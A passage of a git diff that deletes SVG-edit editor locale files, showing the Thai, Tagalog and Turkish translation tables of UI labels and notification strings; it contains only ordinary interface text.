-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Select predefined:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer \"%s\"?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.th.js b/public/svg-edit/editor/locale/lang.th.js
deleted file mode 100644
index e937da74..00000000
--- a/public/svg-edit/editor/locale/lang.th.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "th",
-	dir : "ltr",
-	common: {
-		"ok": "บันทึก",
-		"cancel": "ยกเลิก",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "คลิกเพื่อเปลี่ยนใส่สีกะคลิกเปลี่ยนสีจังหวะ",
-		"zoom_level": "เปลี่ยนระดับการซูม",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "เปลี่ยนใส่สี",
-		"stroke_color": "สีจังหวะเปลี่ยน",
-		"stroke_style": "รีบเปลี่ยนสไตล์จังหวะ",
-		"stroke_width": "ความกว้างจังหวะเปลี่ยน",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "มุมหมุนเปลี่ยน",
-		"blur": "Change gaussian blur value",
-		"opacity": "เปลี่ยนความทึบเลือกรายการ",
-		"circle_cx": "Cx วงกลมเปลี่ยนของพิกัด",
-		"circle_cy": "วงกลมเปลี่ยนเป็น cy ประสานงาน",
-		"circle_r": "รัศมีวงกลมเปลี่ยนเป็น",
-		"ellipse_cx": "เปลี่ยน ellipse ของ cx ประสานงาน",
-		"ellipse_cy": "Ellipse เปลี่ยนของ cy ประสานงาน",
-		"ellipse_rx": "Ellipse เปลี่ยนของรัศมี x",
-		"ellipse_ry": "Ellipse เปลี่ยนของรัศมี y",
-		"line_x1": "สายเปลี่ยนเป็นเริ่มต้น x พิกัด",
-		"line_x2": "สายเปลี่ยนเป็นสิ้นสุด x พิกัด",
-		"line_y1": "สายเปลี่ยนเป็นเริ่มต้น y พิกัด",
-		"line_y2": "สายเปลี่ยนเป็นสิ้นสุด y พิกัด",
-		"rect_height": "ความสูงสี่เหลี่ยมผืนผ้าเปลี่ยน",
-		"rect_width": "ความกว้างสี่เหลี่ยมผืนผ้าเปลี่ยน",
-		"corner_radius": "รัศมีเปลี่ยนสี่เหลี่ยมผืนผ้า Corner",
-		"image_width": "ความกว้างเปลี่ยนรูปภาพ",
-		"image_height": "ความสูงเปลี่ยนรูปภาพ",
-		"image_url": "URL เปลี่ยน",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "เปลี่ยนเนื้อหาข้อความ",
-		"font_family": "ครอบครัว Change Font",
-		"font_size": "เปลี่ยนขนาดตัวอักษร",
-		"bold": "ข้อความตัวหนา",
-		"italic": "ข้อความตัวเอียง"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "สีพื้นหลังเปลี่ยน / ความทึบ",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "พอดีกับเนื้อหาทั้งหมด",
-		"fit_to_canvas": "เหมาะสมในการผ้าใบ",
-		"fit_to_layer_content": "พอดีเนื้อหาชั้นที่",
-		"fit_to_sel": "เหมาะสมในการเลือก",
-		"align_relative_to": "จัดชิดเทียบกับ ...",
-		"relativeTo": "เทียบกับ:",
-		"หน้า": "หน้า",
-		"largest_object": "ที่ใหญ่ที่สุดในวัตถุ",
-		"selected_objects": "วัตถุเลือกตั้ง",
-		"smallest_object": "วัตถุที่เล็กที่สุด",
-		"new_doc": "รูปภาพใหม่",
-		"open_doc": "ภาพเปิด",
-		"export_png": "Export as PNG",
-		"save_doc": "บันทึกรูปภาพ",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "ด้านล่างชิด",
-		"align_center": "จัดแนวกึ่งกลาง",
-		"align_left": "จัดชิดซ้าย",
-		"align_middle": "กลางชิด",
-		"align_right": "จัดชิดขวา",
-		"align_top": "ด้านบนชิด",
-		"mode_select": "เครื่องมือเลือก",
-		"mode_fhpath": "เครื่องมือดินสอ",
-		"mode_line": "เครื่องมือ Line",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "สี่เหลี่ยมผืนผ้า Free-Hand",
-		"mode_ellipse": "Ellipse",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Ellipse Free-Hand",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "เครื่องมือ Text",
-		"mode_image": "เครื่องมือ Image",
-		"mode_zoom": "เครื่องมือซูม",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "เลิก",
-		"redo": "ทำซ้ำ",
-		"tool_source": "แหล่งที่มาแก้ไข",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "องค์ประกอบของกลุ่ม",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "องค์ประกอบ Ungroup",
-		"docprops": "คุณสมบัติของเอกสาร",
-		"imagelib": "Image Library",
-		"move_bottom": "ย้ายไปด้านล่าง",
-		"move_top": "ย้ายไปด้านบน",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "บันทึก",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "ย้าย Layer ลง",
-		"new": "Layer ใหม่",
-		"rename": "Layer เปลี่ยนชื่อ",
-		"move_up": "ย้าย Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "เลือกที่กำหนดไว้ล่วงหน้า:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.tl.js b/public/svg-edit/editor/locale/lang.tl.js
deleted file mode 100644
index 4c820a62..00000000
--- a/public/svg-edit/editor/locale/lang.tl.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "tl",
-	dir : "ltr",
-	common: {
-		"ok": "I-save",
-		"cancel": "I-cancel",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "I-click upang baguhin ang punan ang kulay, paglilipat-click upang baguhin ang paghampas ng kulay",
-		"zoom_level": "Baguhin ang antas ng zoom",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Baguhin ang punuin ng kulay",
-		"stroke_color": "Baguhin ang kulay ng paghampas",
-		"stroke_style": "Baguhin ang stroke pagsugod estilo",
-		"stroke_width": "Baguhin ang stroke lapad",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Baguhin ang pag-ikot anggulo",
-		"blur": "Change gaussian blur value",
-		"opacity": "Palitan ang mga napiling bagay kalabuan",
-		"circle_cx": "Cx Baguhin ang bilog&#39;s coordinate",
-		"circle_cy": "Baguhin ang bilog&#39;s cy coordinate",
-		"circle_r": "Baguhin ang radius ng bilog",
-		"ellipse_cx": "Baguhin ang tambilugan&#39;s cx-ugma",
-		"ellipse_cy": "Baguhin ang tambilugan&#39;s cy coordinate",
-		"ellipse_rx": "X radius Baguhin ang tambilugan&#39;s",
-		"ellipse_ry": "Y radius Baguhin ang tambilugan&#39;s",
-		"line_x1": "Baguhin ang linya ng simula x coordinate",
-		"line_x2": "Baguhin ang linya ay nagtatapos x coordinate",
-		"line_y1": "Baguhin ang linya ng simula y coordinate",
-		"line_y2": "Baguhin ang linya ay nagtatapos y coordinate",
-		"rect_height": "Baguhin ang rektanggulo taas",
-		"rect_width": "Baguhin ang rektanggulo lapad",
-		"corner_radius": "Baguhin ang Parihaba Corner Radius",
-		"image_width": "Baguhin ang lapad ng imahe",
-		"image_height": "Baguhin ang taas ng imahe",
-		"image_url": "Baguhin ang URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Baguhin ang mga nilalaman ng teksto",
-		"font_family": "Baguhin ang Pamilya ng Font",
-		"font_size": "Baguhin ang Laki ng Font",
-		"bold": "Bold Text",
-		"italic": "Italic Text"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Baguhin ang kulay ng background / kalabuan",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Pagkasyahin sa Nilalaman",
-		"fit_to_all": "Pagkasyahin sa lahat ng mga nilalaman",
-		"fit_to_canvas": "Pagkasyahin sa tolda",
-		"fit_to_layer_content": "Pagkasyahin sa layer nilalaman",
-		"fit_to_sel": "Pagkasyahin sa pagpili",
-		"align_relative_to": "Pantayin sa kamag-anak sa ...",
-		"relativeTo": "kamag-anak sa:",
-		"pahina": "pahina",
-		"largest_object": "pinakamalaking bagay",
-		"selected_objects": "inihalal na mga bagay",
-		"smallest_object": "pinakamaliit na bagay",
-		"new_doc": "Bagong Imahe",
-		"open_doc": "Buksan ang Image",
-		"export_png": "Export as PNG",
-		"save_doc": "I-save ang Image",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Pantayin sa Ibaba",
-		"align_center": "Pantayin sa Gitna",
-		"align_left": "Pantayin ang Kaliwa",
-		"align_middle": "Pantayin sa Gitnang",
-		"align_right": "Pantayin sa Kanan",
-		"align_top": "Pantayin Top",
-		"mode_select": "Piliin ang Tool",
-		"mode_fhpath": "Kasangkapan ng lapis",
-		"mode_line": "Line Kasangkapan",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Libreng-kamay Parihaba",
-		"mode_ellipse": "Tambilugan",
-		"mode_circle": "Circle",
-		"mode_fhellipse": "Libreng-kamay tambilugan",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Text Kasangkapan",
-		"mode_image": "Image Kasangkapan",
-		"mode_zoom": "Mag-zoom Kasangkapan",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Bawiin",
-		"redo": "Gawin muli",
-		"tool_source": "I-edit ang Source",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Group Sangkap",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Ungroup Sangkap",
-		"docprops": "Document Katangian",
-		"imagelib": "Image Library",
-		"move_bottom": "Ilipat sa Ibaba",
-		"move_top": "Ilipat sa Tuktok",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "I-save",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Tanggalin Layer",
-		"move_down": "Ilipat Layer Down",
-		"new": "Bagong Layer",
-		"rename": "Palitan ang pangalan ng Layer",
-		"move_up": "Ilipat Layer Up",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Piliin ang paunang-natukoy na:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
-		"QmoveElemsToLayer":"Move selected elements to layer '%s'?",
-		"QwantToClear":"Do you want to clear the drawing?\nThis will also erase your undo history!",
-		"QwantToOpen":"Do you want to open a new file?\nThis will also erase your undo history!",
-		"QerrorsRevertToSource":"There were parsing errors in your SVG source.\nRevert back to original SVG source?",
-		"QignoreSourceChanges":"Ignore changes made to SVG source?",
-		"featNotSupported":"Feature not supported",
-		"enterNewImgURL":"Enter the new image URL",
-		"defsFailOnSave": "NOTE: Due to a bug in your browser, this image may appear wrong (missing gradients or elements). It will however appear correct once actually saved.",
-		"loadingImage":"Loading image, please wait...",
-		"saveFromBrowser": "Select \"Save As...\" in your browser to save this image as a %s file.",
-		"noteTheseIssues": "Also note the following issues: ",
-		"unsavedChanges": "There are unsaved changes.",
-		"enterNewLinkURL": "Enter the new hyperlink URL",
-		"errorLoadingSVG": "Error: Unable to load SVG data",
-		"URLloadFail": "Unable to load from URL",
-		"retrieving": "Retrieving \"%s\"..."
-	}
-});
\ No newline at end of file
diff --git a/public/svg-edit/editor/locale/lang.tr.js b/public/svg-edit/editor/locale/lang.tr.js
deleted file mode 100644
index f802615f..00000000
--- a/public/svg-edit/editor/locale/lang.tr.js
+++ /dev/null
@@ -1,234 +0,0 @@
-svgEditor.readLang({
-	lang: "tr",
-	dir : "ltr",
-	common: {
-		"ok": "Kaydetmek",
-		"cancel": "Iptal",
-		"key_backspace": "backspace", 
-		"key_del": "delete", 
-		"key_down": "down", 
-		"key_up": "up", 
-		"more_opts": "More Options",
-		"url": "URL",
-		"width": "Width",
-		"height": "Height"
-	},
-	misc: {
-		"powered_by": "Powered by"
-	}, 
-	ui: {
-		"toggle_stroke_tools": "Show/hide more stroke tools",
-		"palette_info": "Tıklatın renk, vardiya dolgu zamanlı rengini değiştirmek için tıklayın değiştirmek için",
-		"zoom_level": "Yakınlaştırma düzeyini değiştirebilirsiniz",
-		"panel_drag": "Drag left/right to resize side panel"
-	},
-	properties: {
-		"id": "Identify the element",
-		"fill_color": "Renk değiştirmek doldurmak",
-		"stroke_color": "Değiştirmek inme renk",
-		"stroke_style": "Değiştirmek inme çizgi stili",
-		"stroke_width": "Değiştirmek vuruş genişliği",
-		"pos_x": "Change X coordinate",
-		"pos_y": "Change Y coordinate",
-		"linecap_butt": "Linecap: Butt",
-		"linecap_round": "Linecap: Round",
-		"linecap_square": "Linecap: Square",
-		"linejoin_bevel": "Linejoin: Bevel",
-		"linejoin_miter": "Linejoin: Miter",
-		"linejoin_round": "Linejoin: Round",
-		"angle": "Değiştirmek dönme açısı",
-		"blur": "Change gaussian blur value",
-		"opacity": "Değiştirmek öğe opacity seçilmiş",
-		"circle_cx": "Değiştirmek daire&#39;s cx koordine",
-		"circle_cy": "Değiştirmek daire cy koordine&#39;s",
-		"circle_r": "Değiştirmek daire yarıçapı",
-		"ellipse_cx": "&#39;s Koordine cx elips Girişi",
-		"ellipse_cy": "Değiştirmek elips cy koordine&#39;s",
-		"ellipse_rx": "Değiştirmek elips&#39;s x yarıçapı",
-		"ellipse_ry": "Değiştirmek elips Y yarıçapı",
-		"line_x1": "Değiştirmek hattı&#39;s koordine x başlangıç",
-		"line_x2": "Değiştirmek hattı&#39;s koordine x biten",
-		"line_y1": "Değiştirmek hattı y başlangıç&#39;s koordine",
-		"line_y2": "Değiştirmek hattı y biten&#39;s koordine",
-		"rect_height": "Değiştirmek dikdörtgen yüksekliği",
-		"rect_width": "Değiştirmek dikdörtgen genişliği",
-		"corner_radius": "Değiştirmek Dikdörtgen Köşe Yarıçap",
-		"image_width": "Değiştirmek görüntü genişliği",
-		"image_height": "Değiştirmek görüntü yüksekliği",
-		"image_url": "Değiştirmek URL",
-		"node_x": "Change node's x coordinate",
-		"node_y": "Change node's y coordinate",
-		"seg_type": "Change Segment type",
-		"straight_segments": "Straight",
-		"curve_segments": "Curve",
-		"text_contents": "Değiştirmek metin içeriği",
-		"font_family": "Font değiştir Aile",
-		"font_size": "Change font size",
-		"bold": "Kalın Yazı",
-		"italic": "Italik yazı"
-	},
-	tools: { 
-		"main_menu": "Main Menu",
-		"bkgnd_color_opac": "Arka plan rengini değiştirmek / opacity",
-		"connector_no_arrow": "No arrow",
-		"fitToContent": "Fit to Content",
-		"fit_to_all": "Fit tüm içerik için",
-		"fit_to_canvas": "Fit tuvaline",
-		"fit_to_layer_content": "Sığacak şekilde katman içerik",
-		"fit_to_sel": "Fit seçimine",
-		"align_relative_to": "Align göre ...",
-		"relativeTo": "göreli:",
-		"sayfa": "sayfa",
-		"largest_object": "en büyük nesne",
-		"selected_objects": "seçilen nesneleri",
-		"smallest_object": "küçük nesne",
-		"new_doc": "Yeni Resim",
-		"open_doc": "Aç Resim",
-		"export_png": "Export as PNG",
-		"save_doc": "Görüntüyü Kaydet",
-		"import_doc": "Import SVG",
-		"align_to_page": "Align Element to Page",
-		"align_bottom": "Align Bottom",
-		"align_center": "Ortala",
-		"align_left": "Sola",
-		"align_middle": "Align Orta",
-		"align_right": "Sağa Hizala",
-		"align_top": "Align Top",
-		"mode_select": "Seçim aracı",
-		"mode_fhpath": "Kalem Aracı",
-		"mode_line": "Line Aracı",
-		"mode_connect": "Connect two objects",
-		"mode_rect": "Rectangle Tool",
-		"mode_square": "Square Tool",
-		"mode_fhrect": "Free-El Dikdörtgen",
-		"mode_ellipse": "Elips",
-		"mode_circle": "Daire",
-		"mode_fhellipse": "Free-El Elips",
-		"mode_path": "Path Tool",
-		"mode_shapelib": "Shape library",
-		"mode_text": "Metin Aracı",
-		"mode_image": "Resim Aracı",
-		"mode_zoom": "Zoom Tool",
-		"mode_eyedropper": "Eye Dropper Tool",
-		"no_embed": "NOTE: This image cannot be embedded. It will depend on this path to be displayed",
-		"undo": "Geri",
-		"redo": "Redo",
-		"tool_source": "Değiştir Kaynak",
-		"wireframe_mode": "Wireframe Mode",
-		"toggle_grid": "Show/Hide Grid",
-		"clone": "Clone Element(s)",
-		"del": "Delete Element(s)",
-		"group": "Grup Elemanları",
-		"make_link": "Make (hyper)link",
-		"set_link_url": "Set link URL (leave empty to remove)",
-		"to_path": "Convert to Path",
-		"reorient_path": "Reorient path",
-		"ungroup": "Çöz Elemanları",
-		"docprops": "Belge Özellikleri",
-		"imagelib": "Image Library",
-		"move_bottom": "Altına gider",
-		"move_top": "Üste taşı",
-		"node_clone": "Clone Node",
-		"node_delete": "Delete Node",
-		"node_link": "Link Control Points",
-		"add_subpath": "Add sub-path",
-		"openclose_path": "Open/close sub-path",
-		"source_save": "Kaydetmek",
-		"cut": "Cut",
-		"copy": "Copy",
-		"paste": "Paste",
-		"paste_in_place": "Paste in Place",
-		"delete": "Delete",
-		"group": "Group",
-		"move_front": "Bring to Front",
-		"move_up": "Bring Forward",
-		"move_down": "Send Backward",
-		"move_back": "Send to Back"
-	},
-	layers: {
-		"layer":"Layer",
-		"layers": "Layers",
-		"del": "Delete Layer",
-		"move_down": "Katman Aşağı Taşı",
-		"new": "Yeni Katman",
-		"rename": "Rename Katman",
-		"move_up": "Up Katman Taşı",
-		"dupe": "Duplicate Layer",
-		"merge_down": "Merge Down",
-		"merge_all": "Merge All",
-		"move_elems_to": "Move elements to:",
-		"move_selected": "Move selected elements to a different layer"
-	},
-	config: {
-		"image_props": "Image Properties",
-		"doc_title": "Title",
-		"doc_dims": "Canvas Dimensions",
-		"included_images": "Included Images",
-		"image_opt_embed": "Embed data (local files)",
-		"image_opt_ref": "Use file reference",
-		"editor_prefs": "Editor Preferences",
-		"icon_size": "Icon size",
-		"language": "Language",
-		"background": "Editor Background",
-		"editor_img_url": "Image URL",
-		"editor_bg_note": "Note: Background will not be saved with image.",
-		"icon_large": "Large",
-		"icon_medium": "Medium",
-		"icon_small": "Small",
-		"icon_xlarge": "Extra Large",
-		"select_predefined": "Seçin önceden tanımlanmış:",
-		"units_and_rulers": "Units & Rulers",
-		"show_rulers": "Show rulers",
-		"base_unit": "Base Unit:",
-		"grid": "Grid",
-		"snapping_onoff": "Snapping on/off",
-		"snapping_stepsize": "Snapping Step-Size:"
-	},
-	shape_cats: {
-		"basic": "Basic",
-		"object": "Objects",
-		"symbol": "Symbols",
-		"arrow": "Arrows",
-		"flowchart": "Flowchart",
-		"animal": "Animals",
-		"game": "Cards & Chess",
-		"dialog_balloon": "Dialog balloons",
-		"electronics": "Electronics",
-		"math": "Mathematical",
-		"music": "Music",
-		"misc": "Miscellaneous",
-		"raphael_1": "raphaeljs.com set 1",
-		"raphael_2": "raphaeljs.com set 2"
-	},
-	imagelib: {
-		"select_lib": "Select an image library",
-		"show_list": "Show library list",
-		"import_single": "Import single",
-		"import_multi": "Import multiple",
-		"open": "Open as new document"
-	},
-	notification: {
-		"invalidAttrValGiven":"Invalid value given",
-		"noContentToFitTo":"No content to fit to",
-		"dupeLayerName":"There is already a layer named that!",
-		"enterUniqueLayerName":"Please enter a unique layer name",
-		"enterNewLayerName":"Please enter the new layer name",
-		"layerHasThatName":"Layer already has that name",
